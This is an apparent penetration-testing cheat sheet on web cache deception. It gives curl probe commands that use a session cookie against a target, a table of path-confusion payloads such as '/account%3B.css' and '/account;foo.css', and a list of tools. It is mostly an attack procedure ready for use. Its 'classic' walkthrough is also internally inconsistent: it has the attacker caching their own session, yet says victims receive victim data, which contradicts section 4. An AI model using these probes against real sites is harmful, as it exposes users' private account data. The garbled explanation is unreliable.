cache-deception

Web Cache Deception

Reverse proxies / CDNs cache based on URL extension or path patterns (.css, .jpg, /static/). If the origin server returns the authenticated page for any path, attacker tricks the cache into storing private content under a public-cacheable URL.

1. The classic

GET /account.css     ← attacker visits, in their own session
                       Cache miss → origin returns /account (authenticated, w/ user cookies in URL or response body)
                       Cache stores response keyed on /account.css

GET /account.css     ← victim or any unauth visitor
                       Cache HIT → serves the attacker-cached, victim-data response

2. Probe the deception

# Step 1: visit authenticated page w/ a fake .css path
curl -i -H "Cookie: session=$AUTH" $TARGET/account.css | grep -E '^(HTTP|Cache|X-Cache)'

# Look for:
# Cache-Control: public, max-age=...
# X-Cache: MISS (then HIT next time)
# Content-Length consistent w/ /account page (not 404)

# Step 2: from unauth session
curl -i $TARGET/account.css | grep -E 'HTTP|Cache' && diff_response_bodies

If the second request returns the AUTHENTICATED content of step 1 → deception confirmed.

3. Variants

Variant	Path
.css suffix	/account/foo.css
.jpg suffix	/account.jpg
/static/ prefix	/static/../account
Multiple slashes	/account//.css
URL-encoded ;	/account%3B.css
Trailing semi-segment	/account;foo.css
Double extension	/account.html.css
Path parameter	/account.css/anything

Each cache impl handles these differently. Cloudflare / Fastly / Akamai / Varnish all have known quirks.

4. Cache poisoning vs cache deception

• Deception — attacker forces cache of victim's data, served to others
• Poisoning — attacker injects content into a normal cached resource

This skill covers deception. Cache poisoning is a separate (overlapping) class.

5. Tools

• Param Miner (Burp plugin) — unkeyed param discovery
• webcache.cyberxecution.com for quick suffix probes
• Manual via Burp Repeater